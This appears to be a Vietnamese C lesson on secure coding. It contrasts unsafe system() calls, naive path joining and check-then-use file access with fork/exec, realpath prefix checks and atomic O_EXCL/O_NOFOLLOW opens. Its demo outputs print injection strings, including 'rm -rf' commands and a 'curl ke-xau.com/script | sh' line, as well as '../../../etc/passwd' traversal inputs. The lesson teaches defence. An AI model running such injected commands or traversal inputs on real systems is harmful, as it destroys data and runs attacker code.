Bỏ qua điều hướng, tới nội dung chính
Học C
Bài 59.328 phút đọc

Chèn lệnh, đường dẫn và TOCTOU

Sau bài này bạn sẽ làm được

  • Thay system bằng exec với danh sách đối số
  • Kiểm tra đường dẫn đúng cách bằng realpath
  • Nhận ra khoảng trống giữa kiểm tra và sử dụng
  • Dùng thao tác nguyên tử thay cho kiểm tra rồi làm

Ba lỗ hổng của bài này đến từ hai kiểu tin nhầm: tin vào dữ liệu, và tin vào thời gian. Chèn lệnh và duyệt đường dẫn là tin dữ liệu; TOCTOU là tin rằng thứ bạn vừa kiểm tra vẫn còn nguyên khi bạn dùng tới nó.

#Chèn lệnh

lenh.c, ghép chuỗi người dùng vào system
/* SAI: ghep chuoi vao system */
static void nen_sai(const char *ten_tep) {
    char lenh[512];
    snprintf(lenh, sizeof lenh, "echo dang xu ly %s", ten_tep);
    printf("  se chay: %s\n", lenh);
    /* system(lenh);  <- day la cho system() se chay */
}
terminal
./lenh.exe
=== dau vao thuong ===
  se chay: echo dang xu ly bao_cao.txt

=== dau vao doc hai ===
  se chay: echo dang xu ly x.txt; rm -rf /quan_trong
  se chay: echo dang xu ly $(whoami)
  se chay: echo dang xu ly a && curl ke-xau.com/script | sh

#exec với danh sách đối số

exec_argv.c
static void chay_argv(const char *ten_tep) {
    /* execlp("echo", "echo", "dang xu ly", ten_tep, (char*)NULL); */
    const char *argv[] = { "echo", "dang xu ly", ten_tep, NULL };
    printf("  argv = [");
    for (int i = 0; argv[i]; ++i)
        printf("%s\"%s\"", i ? ", " : "", argv[i]);
    printf("]\n");
}
terminal
./ea.exe
dau vao doc hai voi exec+argv:
  argv = ["echo", "dang xu ly", "x.txt; rm -rf /quan_trong"]
  -> ten_tep la MOT doi so, khong bi tach hay dien giai
Gọi shell
char lenh[512]; snprintf(lenh, sizeof lenh, "convert %s -resize 100x100 %s", tep_vao, tep_ra); system(lenh); /* tep_vao = "a.jpg; rm -rf ~" -> tham hoa */
Gọi exec trực tiếp
#include <unistd.h> #include <sys/wait.h> pid_t con = fork(); if (con == 0) { execlp("convert", "convert", tep_vao, "-resize", "100x100", tep_ra, (char *)NULL); _exit(127); /* chi toi day neu exec that bai */ } int trang_thai; waitpid(con, &trang_thai, 0); /* tep_vao la MOT doi so, khong bao gio la lenh. Va dung execlp voi ten DAY DU de tranh phu thuoc PATH: execl("/usr/bin/convert", "convert", ...); */

#Duyệt đường dẫn

duongdan.c
#define GOC "/var/www/tai_len/"

/* SAI: ghep truc tiep */
static void mo_sai(const char *ten) {
    char dd[512];
    snprintf(dd, sizeof dd, "%s%s", GOC, ten);
    printf("  mo_sai:  \"%s\"\n", dd);
}

/* Kiem tra tho: cam ".." trong ten */
static int co_cham_cham(const char *ten) {
    return strstr(ten, "..") != NULL;
}
terminal
./dd.exe
ten = "anh.jpg"
  mo_sai:  "/var/www/tai_len/anh.jpg"
ten = "../../../etc/passwd"  [co .. -> chan tho]
  mo_sai:  "/var/www/tai_len/../../../etc/passwd"
ten = "..\..\windows"  [co .. -> chan tho]
  mo_sai:  "/var/www/tai_len/..\..\windows"
ten = "duong/con/anh.jpg"
  mo_sai:  "/var/www/tai_len/duong/con/anh.jpg"
ten = "%2e%2e%2fetc%2fpasswd"
  mo_sai:  "/var/www/tai_len/%2e%2e%2fetc%2fpasswd"

#Kiểm tra đường dẫn đúng cách

Chuẩn hoá rồi kiểm tra tiền tố
#include <stdlib.h>
#include <string.h>
#include <limits.h>

#define GOC "/var/www/tai_len/"

/* Tra ve 0 neu an toan, -1 neu tu choi. */
static int mo_an_toan(const char *ten_nguoi_dung, char *ra, size_t ra_co) {
    char ghep[PATH_MAX];
    if ((size_t)snprintf(ghep, sizeof ghep, "%s%s", GOC, ten_nguoi_dung)
        >= sizeof ghep) {
        return -1;                          /* qua dai */
    }

    /* realpath GIAI QUYET .. va lien ket tuong trung,
       tra ve duong dan TUYET DOI, DA CHUAN HOA. */
    char thuc[PATH_MAX];
    if (realpath(ghep, thuc) == NULL) {
        return -1;                          /* khong ton tai, hoac loi */
    }

    /* Duong dan THAT phai van nam trong GOC. */
    char goc_thuc[PATH_MAX];
    if (realpath(GOC, goc_thuc) == NULL) return -1;

    size_t goc_len = strlen(goc_thuc);
    if (strncmp(thuc, goc_thuc, goc_len) != 0 ||
        (thuc[goc_len] != '/' && thuc[goc_len] != '\0')) {
        return -1;                          /* da thoat ra ngoai GOC */
    }

    if (strlen(thuc) >= ra_co) return -1;
    strcpy(ra, thuc);
    return 0;
}

#TOCTOU

TOCTOU
Time of check to time of use. Một lỗ hổng đua trạng thái: bạn kiểm tra một điều kiện về một tài nguyên, rồi dùng tài nguyên đó, và giữa hai thời điểm ấy kẻ tấn công thay đổi tài nguyên. Cái bạn kiểm tra không còn là cái bạn dùng.
toctou.c, mô phỏng khe hở thời gian
static int co_quyen = 1;      /* dai dien: access() bao co quyen */

static int kiem_tra(const char *tep) {
    /* if (access(tep, W_OK) != 0) return -1;   <- KIEM TRA */
    printf("  [t=0] kiem_tra(%s): access bao %s\n",
           tep, co_quyen ? "CO quyen" : "khong");
    return co_quyen ? 0 : -1;
}

static void su_dung(const char *tep) {
    /* GIUA day, ke tan cong doi lien ket tuong trung:
       tep tro toi /tmp/an_toan -> /etc/passwd */
    co_quyen = 0;   /* mo phong: muc tieu da doi */
    printf("  [t=1] ke tan cong doi lien ket cua %s\n", tep);
    /* FILE *t = fopen(tep, "w");   <- SU DUNG, gio mo file khac */
    printf("  [t=2] fopen(%s, w): gio mo file MA KE TAN CONG chon\n", tep);
}
terminal
./toctou.exe
=== mau CHECK roi USE (co khe ho) ===
  [t=0] kiem_tra(/tmp/an_toan): access bao CO quyen
  [t=1] ke tan cong doi lien ket cua /tmp/an_toan
  [t=2] fopen(/tmp/an_toan, w): gio mo file MA KE TAN CONG chon

-> kiem tra tren duong dan, dung tren duong dan: hai lan
   giai phap: mo MOT lan, roi kiem tra tren mo ta tep
Kiểm tra rồi dùng, hai lần phân giải
/* Kiem tra ton tai roi tao: dua trang thai */ if (access(tep, F_OK) != 0) { /* chua ton tai? */ int fd = open(tep, O_WRONLY | O_CREAT); /* tao */ /* ke tan cong tao tep giua hai loi goi */ } /* Kiem tra quyen roi mo */ if (access(tep, W_OK) == 0) fp = fopen(tep, "w");
Thao tác nguyên tử, một lần
/* Tao NGUYEN TU: O_EXCL that bai neu tep DA ton tai */ int fd = open(tep, O_WRONLY | O_CREAT | O_EXCL, 0600); if (fd < 0) { /* da ton tai, hoac loi. Khong co khe ho. */ } /* Mo TRUOC, roi kiem tra tren mo ta tep, khong tren duong dan */ int fd = open(tep, O_RDONLY | O_NOFOLLOW); /* khong theo lien ket */ if (fd < 0) return -1; struct stat st; fstat(fd, &st); /* kiem tra tren fd, khong tren ten */ if (!S_ISREG(st.st_mode)) { close(fd); return -1; } /* fd tro toi DUNG tep da mo, khong doi duoc nua */

Tự làm thử

  1. Chạy lenh.c với ba đầu vào độc hại và giải thích từng cái chiếm quyền thế nào.
  2. Viết lại một chỗ gọi system trong dự án của bạn thành fork cộng exec.
  3. Chứng minh rằng cấm chuỗi .. thất bại với đầu vào mã hoá URL.
  4. Cài mo_an_toan với realpath và kiểm tra nó chặn được mọi đầu vào trong duongdan.c.
  5. Viết hàm ten_an_toan theo danh sách trắng ký tự và kiểm thử với các đầu vào biên.
  6. Thay một mẫu access rồi open bằng open với O_EXCL hoặc O_NOFOLLOW.

Trình chấm điểm tự động sẽ được bổ sung ở giai đoạn sau. Hiện tại bạn tự chạy thử trên máy.

Tóm tắt

  • system và popen đưa chuỗi cho shell, và shell diễn giải ; & | $ làm cú pháp.
  • exec với danh sách đối số miễn nhiễm chèn lệnh vì không có shell nào tách chuỗi.
  • Cấm chuỗi .. thất bại với mã hoá URL, mã hoá hai lần, và liên kết tượng trưng; chuẩn hoá bằng realpath rồi kiểm tra tiền tố.
  • TOCTOU: cái bạn kiểm tra không còn là cái bạn dùng; access rồi open là ví dụ kinh điển.
  • Mở một lần, thao tác trên mô tả tệp; dùng O_EXCL, O_NOFOLLOW, và các hàm theo fd.